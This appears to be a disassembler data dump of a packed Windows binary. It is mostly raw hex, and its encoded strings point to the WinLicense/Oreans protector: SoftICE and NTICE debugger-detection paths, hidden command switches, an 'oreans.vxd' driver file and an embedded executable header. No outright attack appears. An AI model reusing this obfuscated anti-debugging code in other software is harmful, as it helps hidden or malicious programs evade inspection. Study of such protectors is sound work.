		dd 0E2000003h, 964A5370h, 0DB9DFE9Bh, 0BC445944h, 0F66A33A4h
		dd 7A415A7Fh, 9908901h,	4257CC94h, 0C89A759h, 4C55C98Fh
		dd 6F35594Fh, 12FE9F45h, 152F9441h, 5B6772EBh, 6ACEB397h
		dd 0B527CF5Dh, 823D30B9h, 357F565Ch, 0A24C521Ch, 0D023CD4Fh
		dd 0D58F522Ah, 38AA10CEh, 0F89E1C36h, 0D5E958C8h, 26B3AF21h
		dd 801914A6h, 0BD50ED74h, 896F2D7h, 1C3598C2h, 935E7BF2h
		dd 0C92DB311h, 359A7B3Bh, 0CD03CF1Ch, 9E8950A1h, 0FFFFFCF6h
		dd 2BB915EDh, 1C3641A1h, 69E31395h, 7A05ECF5h, 3357772Fh
		dd 14AFAF4Bh, 0F1737E1Bh, 6329DAD1h, 0DEC38F5Fh, 0E01405C3h
		dd 2DB8352h, 26777915h,	0CC044985h, 25ACF2F4h, 0BAB35A42h
		dd 9225D11Fh, 4B7F4F07h, 0D521B8B1h, 34BEC3Fh, 7FF60815h
		dd 0DB15975Ah, 12119D43h, 7D48AAECh, 5B6529A5h,	901ED6C3h
		dd 73E0DEF5h, 4752CBF5h, 16CC28ACh, 323CFF62h, 27C96B78h
		dd 4CE5D7A7h, 492FC438h, 408026ADh, 2F8C9661h, 0E57084B3h
		dd 0CD2FAD2h, 6CEC0F22h, 0DA526C20h, 0EE9D27BDh, 17997B13h
		dd 1FAF31DFh, 3428819Dh, 0A05845ABh, 6FD3138Ch,	2E8ABD87h
		dd 25A9B83h, 0BD9F0000h, 60FD8318h, 0C35C2479h,	1B13C5D6h
		dd 0C25B1D7Eh, 0BCCDC6D7h, 594257CEh, 94098CA7h, 584552CCh
		dd 8A138CA0h, 12B8E6A6h, 612FE9Fh, 9B2EF6D5h, 7AF10BC3h
		dd 0E410945Fh, 0F56A9438h, 797760F8h, 0DF9FE77Dh, 9F211501h
		dd 30DE1683h, 829C1EAEh, 5ED08815h, 0A3418D41h,	12FEA419h
		dd 15809B0Dh, 60945ADEh, 0E6F36FE1h, 0D2D192FEh, 7E680BF2h
		dd 1E4h, 0EDAE0B29h, 0B2EBF66Bh, 0F7A4312Eh, 0ABF0E981h
		dd 9D3C35h, 0ADC44633h,	72E96F2Ch, 0ACC23667h, 76EA6E2Fh
		dd 507C3469h, 0FE9D2892h, 4C6F1C12h, 6673EB15h,	5AED098Bh
		dd 0A937974Fh, 1501DEE5h, 5F7D7D9h, 9C2B7069h, 6B795515h
		dd 12FEA467h, 36AA494Fh, 0B9579A3Fh, 0A2BB2E47h, 0B638BC37h
		dd 93535AE5h, 0A427A53Bh, 8D1312FEh, 617EF266h,	0C2DF536Dh
		dd 6F558B2Fh, 6B12FEA4h, 0DC55AB45h, 1ABA39BDh,	4E4F48E4h
		dd 0EA09968Ah, 63C08278h, 0EDEA8671h, 0CD2F6B0h, 12FEA4A6h
		dd 0A4CCF6ACh, 26C812FEh, 80FAFA9Ch, 0E914C5ECh, 680F0D63h
		dd 8B8F233h, 0AA44B3E7h, 1B5CD547h, 0FF273F85h,	3BB53B12h
		dd 0E9DB48B8h, 895021Eh, 31C0D950h, 3CE9DBC1h, 36338B48h
		dd 25EE5D1Dh, 41D8F67h,	0D9500895h, 6729EA92h, 0BF2CECBh
		dd 777A7417h
		dd 5E6E6B05h, 28B6C15Ch, 12FEB6A2h, 13DE1096h, 0EEDE6591h
		dd 0ADC4B79Dh, 75E96F2Ch, 2520606Ch, 1F784896h,	0F28201F5h
		dd 9B0D6606h, 0E0C6F6BEh, 0F5211B4Dh, 7E445A72h, 7A6AF223h
		dd 41338074h, 801DBAB6h, 787B64F8h, 856C6D04h, 0DB546620h
		dd 0FBE936BEh, 1A831C10h, 5C9B4C34h, 3AE2B5EAh,	852C40BAh
		dd 0B7569623h, 8F0820CBh, 11849F61h, 3C8714DFh,	0E33A6864h
		dd 1963BF67h, 6E390697h, 0F48816B6h, 125C90B4h,	8C6770E8h
		dd 0DB6D88DAh, 1ED0EB43h, 6B8628D6h, 1F7C65F9h,	15DCC559h
		dd 0E0802587h, 4A741A73h, 0E12EC6D3h, 8B1408F3h, 0C5D24E12h
		dd 13A2BA2Eh, 0DE7FE7CDh, 0D78FE393h, 58C43604h, 0AE45AB45h
		dd 62674DBEh, 88527826h, 0A04693DEh, 5946DA54h,	0A6D54B75h
		dd 0DE88D2F8h, 0CE20C693h, 7855A123h, 80736C00h, 396h
		dd 844FF700h, 41B01547h, 0AB4653CFh, 37BA2739h,	0C82BAEC5h
		dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh
		dd 1BF3685Dh, 4890000h,	50AD6824h, 3C890000h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 68242C89h,	9379E21h
		dd 81243C8Bh, 4C4h, 2C8B5400h, 4C48324h, 51F98951h, 5908458Fh
		dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	3C8B5C24h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0FDD83BE9h
		dd 0CAA5F8FFh, 6144B347h, 0A3F2BEB3h, 0A627B89Fh, 0C5030937h
		dd 5E71E0FFh, 23CF25DEh, 1B5D222Bh, 1B2B1CB2h, 0CB112425h
		dd 0E52936E2h, 4D5933B9h, 37934B6Ch, 786A1649h,	0D3A3BF1h
		dd 0F95E4D0Eh, 43D00952h, 0C9601FC5h, 500926D2h, 0E1555D1Fh
		dd 3A223D74h, 7583D99h,	0D7961A44h, 4378689Bh, 0D77643F8h
		dd 76AD1460h, 0CBEB7E5Dh, 0A6BC0F1Bh, 0F21F32A3h, 4472237Eh
		dd 72E90AD7h, 60000000h, 41DBD83h, 0F000935h, 584h, 5DE900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah
		dd 9351E11h, 24048950h,	6A965096h, 0A195FF00h, 61093525h
		dd 9D85C6C3h, 4D093517h, 4E8h, 3576A800h, 448B50A4h, 8B0424h
		dd 4244489h, 7DB5FF58h,	8D093505h, 35389885h, 89D0FF09h
		dd 3525A185h, 5C1EEB09h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 8BC08B00h
		dd 3527618Dh, 0A1BD8309h, 93526h, 0BD830975h, 9353079h
		dd 50197400h, 0B8C08B53h, 40Fh,	2AC18589h, 9D8D0935h, 937B438h
		dd 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h,	40Fh, 2AC18589h
		dd 9D8D0935h, 937B127h,	585BD3FFh, 0D598D03h, 0DD800935h
		dd 89C08B0Bh, 350F0DB5h, 12E909h, 2E3C0000h, 0EDFDEB2Ch
		dd 0E1831778h, 0B5723902h, 0ED54F972h, 179D85C6h, 6A430935h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C43CC355h, 6C2C298Ah, 0E09B58Bh,	8B660935h
		dd 95B58BF1h, 0E809352Ch, 4, 0BC8E6EFCh, 0F5055B5h, 83h
		dd 24448B00h, 97BA6604h, 0E9008B1Dh, 13h, 0FC30B83Fh, 0C46BF375h
		dd 0DFA7538Bh, 0A2A8277Dh, 89BB1C7Ch, 8B042444h, 9D0158FEh
		dd 9350C51h, 0EC9B5FFh,	6A0935h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 28C903C3h, 0EE80A732h
		dd 98858D8Eh, 0F093538h, 688h, 0FDB58B00h, 8B093503h, 6AD0FFF9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 2129C356h, 4A619D35h, 0BEFC052Dh,	8340B6Eh
		dd 0BB666050h, 896193C9h, 81662404h, 6A9555C1h,	0E8F28B00h
		dd 4, 80h, 24448B50h, 11E804h, 9A4A0000h, 0CB3C18D9h, 90D78930h
		dd 76413D18h, 5A598054h, 0BF66008Bh, 4489C826h,	9E80424h
		dd 89000000h, 2CCFDA93h, 99442B9Ah, 5859D68Bh, 0BE860h
		dd 0CBF70000h, 9640FC2Dh, 7E8EA30h, 840F98h, 5B000000h
		dd 0B89ABF66h, 6A036A61h, 898D8B00h, 6A093516h,	12E903h
		dd 6C470000h, 0D33BBEBAh, 2460D564h, 43AB19A8h,	9490A37Dh
		dd 1B25D668h, 3E51B970h, 48126E0h, 0E4DA2A24h, 57006A4Fh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B595A243h, 533B3EFBh, 0A18D3157h, 8D09352Ch, 37A7BD9Dh
		dd 178E0F09h, 0E9000000h, 12h, 93C61745h, 0BFD99B29h, 31ED8C8Bh
		dd 743E4A28h, 50FC2E3Fh, 1C8954B1h, 6830F24h, 31000000h
		dd 35243DB5h, 33D0FF09h, 35037D8Dh, 850F4009h, 24Eh, 58F2B70Fh
		dd 39E28166h, 10E96Fh, 0D5C10000h, 0B4DF687Bh, 0CC155A86h
		dd 7199CCFEh, 8950E404h, 0B5892404h, 9352571h, 2361BD89h
		dd 6A0935h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 17h,	0A8C35040h, 6802CA3Eh, 0D3208490h, 0F0240481h
		dd 6A2CDF7Bh, 53006A03h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8B66AE12h, 66006AFBh, 36AD18Bh, 2EF58D0Bh
		dd 4680935h, 60F44F1Bh,	0E427B860h, 66B87FBDh, 614CB1EFh
		dd 61C68B66h, 4243481h,	66344F1Bh, 8D0D3CBEh, 37A7C69Dh
		dd 0D1B58B09h, 89093505h, 3524BDB5h, 8B669309h,	59BF50F9h
		dd 93456E8Bh, 0A358D09h, 0D0FF0935h, 880Fh, 0F400000h
		dd 17185h, 598D0300h, 6009350Bh, 0B1BD8B53h, 5809350Eh
		dd 61CE8B66h, 8F0F6058h, 6, 1D4DBD23h, 89610935h, 350625B5h
		dd 0BE665009h, 489D855h, 6A006A24h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4D82C355h
		dd 288DBD8Bh, 46680935h, 0E9A1308Ah, 0Bh, 0E4D67487h, 47BB9398h
		dd 8113B49Ah, 763A2404h, 0B70F5ECFh, 6A036AD6h,	0FDBD8B00h
		dd 6A09352Bh, 15958B03h, 0E8093526h, 4,	0C0000000h, 5050F38Bh
		dd 5727BA52h, 310F46FBh, 4820Fh, 0BA660000h, 585AEB61h
		dd 424448Bh, 42B9008Bh,	894DA181h, 50042444h, 81BF6652h
		dd 66310F9Fh, 585ACF8Bh, 0E18D8958h, 8D09352Ch,	37A7D19Dh
		dd 38B55109h, 5250505Ah, 890Fh,	310F0000h, 1C89585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0A0043D6Dh, 0A571E824h, 0B58925F9h, 9350D21h, 8BC8B70Fh
		dd 352F41B5h, 0E9D0FF09h, 11h, 66CC3D65h, 0A71A9957h, 0DF9A483Ch
		dd 610CB1B6h, 850F402Bh, 3Ah, 68E0Fh, 8D8B0000h, 9352261h
		dd 0D1858958h, 0E9093523h, 0F9h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 14h, 8BC35545h, 1099B58Bh, 0D88B0935h
		dd 0E2ADC981h, 0E84B2E88h, 8, 0E283C274h, 0E3680FFCh, 74ABB966h
		dd 85C6585Ah, 935179Dh,	66FB8B43h, 68B316BEh, 4735B929h
		dd 5E8h, 0E5475C00h, 0D78B7D87h, 2404815Fh, 7940917Eh
		dd 0D4E4BA66h, 8E8h, 9213EF00h,	0D5BB694Bh, 38B0FBDh, 66000000h
		dd 0FF59F78Bh, 350EC9B5h, 6D9D8909h, 8D09352Eh,	35389885h
		dd 0C18D8B09h, 0FF09351Dh
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 43C16182h, 0CB6C6613h, 2331958Bh, 8A500935h
		dd 241C89CCh, 321DB589h, 0D0FF0935h, 0F31BD03h,	9D8D0935h
		dd 9357099h, 6E9h, 1AAC0E00h, 0B8FC07FCh, 1, 12A18529h
		dd 0E3FF0935h, 50D98166h, 80C18BB3h, 0C08B69C1h, 7E8h
		dd 0DDC77600h, 0C5D42F64h, 1DED9D89h, 835F0935h, 3526A1BDh
		dd 9750009h, 3079BD83h,	74000935h, 8B535019h, 40FB8C0h
		dd 85890000h, 9352CA9h,	0B49F9D8Dh, 0D3FF0937h,	0BD83585Bh
		dd 9353079h, 50177400h,	40FB853h, 85890000h, 9352CA9h
		dd 0B1409D8Dh, 0D3FF0937h, 880F585Bh, 6, 245DB589h, 0BF0F0935h
		dd 0E8C08BFAh, 10h, 3E299CD1h, 83C3CA59h, 9C0B6EEDh, 19F47F6Bh
		dd 4E98160h, 0E930B9F3h, 12h, 0B1D5D7F4h, 7AF66191h, 0BEBCFC29h
		dd 71FC4CC5h, 5F618431h, 81F2D680h, 6C7AC7h, 0D0B70F00h
		dd 91FBEDB9h, 0FEC1811Ah, 8BE56E1Eh, 352E4585h,	8037FF09h
		dd 295E1EDCh, 352E31B5h, 4EEE8109h, 9176D25h, 3517519Dh
		dd 2EE8109h, 8B78E761h,	3531AD9Dh, 0B0C68109h, 8B4A954Fh
		dd 35003995h, 858B5609h, 9351B25h, 0E28A078Fh, 8004EF83h
		dd 0E98102F6h, 1, 13850Fh, 81660000h, 0E965D7EAh, 2Eh
		dd 21041C97h, 12B1848Ah, 11E902h, 0EBEC0000h, 2170223Dh
		dd 0E95150BEh, 1C26E8C3h, 0E90BC045h, 0FFFFFF85h, 5F8F12ECh
		dd 59E83CC7h, 0AAE9C2CCh, 53000000h, 7774666Fh,	5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	937AF5Bh
		dd 0AF57858Dh, 8D500937h, 37AEC185h, 1685009h, 0FF800000h
		dd 37AF6795h, 0FF196A09h, 37AF5BB5h, 6A016A09h,	0F0858D00h
		dd 500937AEh, 0AF57B5FFh, 95FF0937h, 9350325h, 0AF57B5FFh
		dd 95FF0937h, 937AF63h,	0AF57B5FFh, 95FF0937h, 9351AEDh
		dd 5B8589C3h, 8D0937AFh, 37AF5785h, 858D5009h, 937AEC1h
		dd 16850h, 95FF8000h, 937AF67h,	858D046Ah, 937AF5Bh, 6A046A50h
		dd 1A858D00h, 500937AFh, 0AF57B5FFh, 95FF0937h,	9350325h
		dd 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh,	95FF0937h
		dd 9351AEDh, 5B8589C3h,	8D0937AFh, 37AF5785h, 858D5009h
		dd 937AEC1h, 16850h, 95FF8000h,	937AF67h, 858D046Ah, 937AF5Bh
		dd 6A046A50h, 2858D00h,	500937AFh, 0AF57B5FFh, 95FF0937h
		dd 9350325h, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh
		dd 95FF0937h, 9351AEDh,	5B8589C3h, 8D0937AFh, 37AF5785h
		dd 858D5009h, 937AEC1h,	16850h,	95FF8000h, 937AF67h, 858D046Ah
		dd 937AF5Bh, 6A046A50h,	2D858D00h, 500937AFh, 0AF57B5FFh
		dd 95FF0937h, 9350325h,	0AF57B5FFh, 95FF0937h, 937AF63h
		dd 0AF57B5FFh, 95FF0937h, 9351AEDh, 5B8589C3h, 8D0937AFh
		dd 37AF5785h, 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h
		dd 858D046Ah, 937AF5Bh,	6A046A50h, 0DD858D00h, 500937AEh
		dd 0AF57B5FFh, 95FF0937h, 9350325h, 0AF57B5FFh,	95FF0937h
		dd 937AF63h, 0AF57B5FFh, 95FF0937h, 9351AEDh, 69BD83C3h
		dd 9351Ch, 0B840Fh, 9D8B0000h, 9351C69h, 894CC383h, 0BD83C303h
		dd 9351C69h, 0B840F00h,	8B000000h, 351C699Dh, 50C38309h
		dd 83C30389h, 351C69BDh, 840F0009h, 0Bh, 1C699D8Bh, 0C3830935h
		dd 0C3038954h, 1C69BD83h, 0F000935h, 0B84h, 699D8B00h
		dd 8309351Ch, 38958C3h,	69BD83C3h, 9351Ch, 0B840Fh, 9D8B0000h
		dd 9351C69h, 895CC383h,	60C3C303h, 0AF5B8589h, 858D0937h
		dd 937AF57h, 0C1858D50h, 500937AEh, 168h, 6795FF80h, 6A0937AFh
		dd 5B858D04h, 500937AFh, 6A046Ah, 0AF52858Dh, 0FF500937h
		dd 37AF57B5h, 2595FF09h, 83093503h, 3526A1BDh, 840F0009h
		dd 0Ch,	0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h
		dd 9351AEDh, 8960C361h,	37AF5B85h, 57858D09h, 500937AFh
		dd 0AEC1858Dh, 68500937h, 80000001h, 0AF6795FFh, 46A0937h
		dd 0AF5B858Dh, 6A500937h, 8D006A04h, 37AF3485h,	0B5FF5009h
		dd 937AF57h, 32595FFh, 0BD830935h, 93526A1h, 0C840F00h
		dd 0FF000000h, 37AF57B5h, 6395FF09h, 0FF0937AFh, 37AF57B5h
		dd 0ED95FF09h, 6109351Ah, 858960C3h, 937AF5Bh, 0AF57858Dh
		dd 8D500937h, 37AEC185h, 1685009h, 0FF800000h, 37AF6795h
		dd 8D046A09h, 37AF5B85h, 46A5009h, 858D006Ah, 937AF3Bh
		dd 57B5FF50h, 0FF0937AFh, 35032595h, 0A1BD8309h, 93526h
		dd 0C840Fh, 0B5FF0000h,	937AF57h, 0AF6395FFh, 0B5FF0937h
		dd 937AF57h, 1AED95FFh,	0C3610935h, 5B858960h, 8D0937AFh
		dd 37AF5785h, 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h
		dd 858D046Ah, 937AF5Bh,	6A046A50h, 43858D00h, 500937AFh
		dd 0AF57B5FFh, 95FF0937h, 9350325h, 26A1BD83h, 0F000935h
		dd 0C84h, 57B5FF00h, 0FF0937AFh, 37AF6395h, 57B5FF09h
		dd 0FF0937AFh, 351AED95h, 60C36109h, 0AF5B8589h, 858D0937h
		dd 937AF57h, 0C1858D50h, 500937AEh, 168h, 6795FF80h, 6A0937AFh
		dd 5B858D04h, 500937AFh, 6A046Ah, 0AF4A858Dh, 0FF500937h
		dd 37AF57B5h, 2595FF09h, 83093503h, 3526A1BDh, 840F0009h
		dd 0Ch,	0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h
		dd 9351AEDh, 0C760C361h, 37AF5B85h, 109h, 57858D00h, 500937AFh
		dd 0AEC1858Dh, 68500937h, 80000002h, 0AF6795FFh, 0C00B0937h
		dd 0F840Fh, 85C70000h, 937AF5Bh, 0
		dd 4DE9h, 8D046A00h, 37AF5B85h,	46A5009h, 858D006Ah, 937AED5h
		dd 57B5FF50h, 0FF0937AFh, 35032595h, 0FC00B09h,	0F84h
		dd 5B85C700h, 937AFh, 0E9000000h, 0Ah, 0AF5B85C7h, 10937h
		dd 0B5FF0000h, 937AF57h, 1AED95FFh, 8B610935h, 37AF5B85h
		dd 8960C309h, 37AF5B85h, 57858D09h, 500937AFh, 0AEC1858Dh
		dd 68500937h, 80000001h, 0AF6795FFh, 46A0937h, 0AF5B858Dh
		dd 6A500937h, 8D006A04h, 37AED585h, 0B5FF5009h,	937AF57h
		dd 32595FFh, 0BD830935h, 93526A1h, 0C840F00h, 0FF000000h
		dd 37AF57B5h, 6395FF09h, 0FF0937AFh, 37AF57B5h,	0ED95FF09h
		dd 6109351Ah, 858960C3h, 937AF5Bh, 0AF57858Dh, 8D500937h
		dd 37AEC185h, 1685009h,	0FF800000h, 37AF6795h, 8D046A09h
		dd 37AF5B85h, 46A5009h,	858D006Ah, 937AEE7h, 57B5FF50h
		dd 0FF0937AFh, 35032595h, 0A1BD8309h, 93526h, 0C840Fh
		dd 0B5FF0000h, 937AF57h, 0AF6395FFh, 0B5FF0937h, 937AF57h
		dd 1AED95FFh, 0C3610935h, 179D85C6h, 68520935h,	0ADE47B07h
		dd 2621B5FFh, 95FF0935h, 9352821h, 0AF678589h, 85C60937h
		dd 935179Dh, 0E56852h, 0B5FF902Eh, 9352621h, 282195FFh
		dd 85890935h, 937AF63h,	179D85C6h, 68520935h, 0B9BF1235h
		dd 2621B5FFh, 95FF0935h, 9352821h, 3258589h, 85C60935h
		dd 935179Dh, 10346852h,	0B5FF9878h, 9352621h, 282195FFh
		dd 85890935h, 9351AEDh,	179D85C6h, 68520935h, 0C005DBD4h
		dd 2621B5FFh, 95FF0935h, 9352821h, 1EFD8589h, 99E90935h
		dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h
		dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h
		dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h
		dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h
		dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h
		dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h
		dd 706D7564h, 74617473h, 7375h,	2F000000h, 63656863h, 6F72706Bh
		dd 74636574h, 6E6F69h, 0
aG7		db '┐╫!╤7',9,0
		db 0Fh
		dd 0A84h, 7985C700h, 1093530h, 0C6000000h, 35179D85h, 4E84709h
		dd 8D000000h, 50906D6Ch, 424448Bh, 4489008Bh, 0FF580424h
		dd 350EC9B5h, 98858D09h, 0FF093538h, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B5A1B58Dh, 25E80937h
		dd 3000002h, 37B636BDh,	36BD8309h, 937B6h, 0B840Fh, 85C70000h
		dd 93526A1h, 1,	0ACB58DC3h, 0E80937B5h,	1FCh, 0B636BD03h
		dd 0BD830937h, 937B636h, 0B840F00h, 0C7000000h,	35307985h
		dd 109h, 0B58DC300h, 937B625h, 1D3E8h, 36BD0300h, 830937B6h
		dd 37B636BDh, 840F0009h, 0Bh, 41D85C7h,	10935h,	8DC30000h
		dd 37B5B6B5h, 1AAE809h,	0BD030000h, 937B636h, 0B636BD83h
		dd 0F000937h, 0B84h, 7985C700h,	1093530h, 0C3000000h, 0B5C0B58Dh
		dd 81E80937h, 3000001h,	37B636BDh, 36BD8309h, 937B6h, 15840Fh
		dd 85C70000h, 9353079h,	1, 26A185C7h, 10935h, 8DC30000h
		dd 37B5CEB5h, 14EE809h,	0BD030000h, 937B636h, 0B636BD83h
		dd 0F000937h, 0A84h, 9585C700h,	109350Dh, 8D000000h, 37B5D8B5h
		dd 126E809h, 0BD030000h, 937B636h, 0B636BD83h, 0F000937h
		dd 0A84h, 9585C700h, 109350Dh, 8D000000h, 37B5E3B5h, 0FEE809h
		dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h,	0A84h
		dd 8585C700h, 1093507h,	8D000000h, 37B5E9B5h, 0D6E809h
		dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h,	0A84h
		dd 2185C700h, 109351Ch,	8D000000h, 37B5EFB5h, 0AEE809h
		dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h,	0A84h
		dd 985C700h, 1093523h, 8D000000h, 37B5FDB5h, 86E809h, 0BD030000h
		dd 937B636h, 0B636BD83h, 0F000937h, 0A84h, 0A585C700h
		dd 109352Dh, 8D000000h,	37B60AB5h, 5EE809h, 0BD030000h
		dd 937B636h, 0B636BD83h, 0F000937h, 0A84h, 5585C700h, 1093528h
		dd 8D000000h, 37B615B5h, 36E809h, 0BD030000h, 937B636h
		dd 0B636BD83h, 0F000937h, 0A84h, 0C585C700h, 1093524h
		dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h,	0ED850F00h
		dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 19E9h, 3F8000h, 2850Fh
		dd 0C92B0000h, 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h
		dd 8840F00h, 0B000000h,	0D6850FC9h, 0BFFFFFFh, 21840FC9h
		dd 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h
		dd 0B9000000h, 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 937B636h, 0AE9h,	3685C700h
		dd 937B6h, 61000000h, 0E8C88BC3h, 9, 5453AADAh,	0CFD6E18Fh
		dd 953159E8h, 9352A7Dh,	5E6EC181h, 4EB00000h, 177168h
		dd 958B5000h, 935265Dh,	0BF0F5E5Ah, 8031FFD7h, 665F25E4h
		dd 0F781D88Bh, 155FD017h, 0D98D8960h, 52093529h, 2AC5BD8Bh
		dd 61580935h, 0ABB5F781h, 0BE83E3Eh, 0F1000000h, 6AF7BFB5h
		dd 3E455A96h, 3CB255DDh, 85C7815Ah, 0E96D8BBDh,	0Dh, 0B684916Ah
		dd 0A40A1678h, 3B95B005h, 8B398900h, 35089185h,	2DE98109h
		dd 231282A0h, 352F0995h, 29C18109h, 891282A0h, 3511A195h
		dd 1EE8109h, 0F000000h,	0FFFF8485h, 3810FFFh, 80000000h
		dd 0EE955E3h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	935179Dh, 5B866847h, 0B5FFE3E4h
		dd 9350EC9h, 3898858Dh,	0D0FF0935h, 10468h, 0D99D8D00h
		dd 53093512h, 8D50D0FFh, 37BC65B5h, 32FE8B09h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 35179D85h
		dd 0FC684309h, 0FFBC8E6Eh, 350EC9B5h, 98858D09h, 0FF093538h
		dd 0D9B58DD0h, 6A093512h, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 935179Dh, 0EE566857h,	0B5FFA69Bh
		dd 9350EC9h, 3898858Dh,	0D0FF0935h, 439BD8Dh, 8D8D0935h
		dd 937BD8Bh, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0BA6DB58Dh, 858D0937h, 937A719h, 8D8DD0FFh, 9357099h
		dd 0B8h, 0C6E1FF00h, 35179D85h,	0A7684309h, 0FFC0764Ah
		dd 350EC9B5h, 98858D09h, 0FF093538h, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
